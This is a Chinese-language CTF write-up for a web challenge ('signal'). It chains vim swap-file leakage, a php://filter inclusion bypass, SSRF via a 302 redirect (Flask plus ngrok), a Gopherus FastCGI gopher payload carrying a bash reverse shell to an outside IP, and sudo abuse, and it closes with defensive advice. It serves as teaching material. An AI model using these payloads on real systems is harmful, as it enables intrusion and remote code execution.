2024国城杯线上signal出题文档
字数 1116 2025-08-22 12:22:30
Signal CTF 题目解析与教学文档
题目概述
这是一个结合了多种Web安全技术的CTF题目,主要考察以下知识点:
- 信息收集与泄露
- 文件包含漏洞利用
- Filter过滤器绕过
- SSRF攻击与302跳转利用
- FastCGI协议攻击
- 权限提升
信息收集阶段
1. 初始发现
- 题目提供一个登录页面,后端为PHP
- 目录扫描发现:
admin.php(302跳转到index.php,需要session验证)index.php.swp(vim交换文件泄露)
2. 利用vim交换文件泄露
vim -r index.php.swp
获取到guest账户凭据:
- 用户名:guest
- 密码:MyF3iend
文件包含漏洞利用
1. 登录guest账户
发现存在文件包含功能,可以包含:
/etc/passwd/flag(假flag)
2. 读取admin.php源码
使用PHP filter链进行二次编码绕过:
php://filter/%25%36%33%25%36%66%25%36%65%25%37%32%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php
解码后得到admin.php关键代码:
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}
$url = $_POST['url'];
$error_message = '';
$page_content = '';
if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}
curl_close($ch);
}
}
?>
3. 获取admin凭据
通过读取登录页面源码发现:
$users = [
'admin' => 'FetxRuFebAdm4nHace',
'guest' => 'MyF3iend'
];
- 用户名:admin
- 密码:FetxRuFebAdm4nHace
SSRF攻击与FastCGI利用
1. SSRF特性分析
- 只允许https协议
- 允许302跳转(
CURLOPT_FOLLOWLOCATION设置为1) - 目标:利用SSRF攻击FastCGI服务
2. 302跳转实现方案
方案一:使用Cloudflare临时域名(题目环境不通外网不可行)
方案二:使用ngrok搭建临时https服务
ngrok配置步骤:
- 编写本地302跳转服务(Python Flask):
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'http://47.100.223.173/shell.php'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)
- 启动ngrok服务:
ngrok http 8080
3. FastCGI攻击Payload生成
使用Gopherus工具生成攻击FastCGI的payload:
gopherus --exploit fastcgi
示例payload:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.100.223.173/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
4. 反弹Shell
修改Flask应用的跳转目标为FastCGI payload:
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01...'
在攻击机监听端口:
nc -lvnp 2333
权限提升
- 查找真实flag位置:
find / -name flag*
发现路径:/tmp/whereflag/root/flag
- 检查sudo权限:
sudo -l
- 读取flag:
sudo cat /tmp/whereflag/root/flag
关键知识点总结
-
信息泄露:
- vim交换文件泄露
- 源码泄露
-
文件包含绕过:
- PHP filter链二次编码绕过
- 限制字符集的绕过技巧
-
SSRF高级利用:
- HTTPS限制下的302跳转利用
- ngrok搭建临时HTTPS服务
- 内网FastCGI服务攻击
-
权限提升:
- sudo权限滥用
- 非常规flag路径查找
防御建议
- 禁用vim交换文件生成
- 严格限制文件包含参数
- 禁用危险的PHP包装器
- 限制CURL的跳转功能
- FastCGI服务应设置访问控制
- 合理配置sudo权限
- 敏感文件应设置适当权限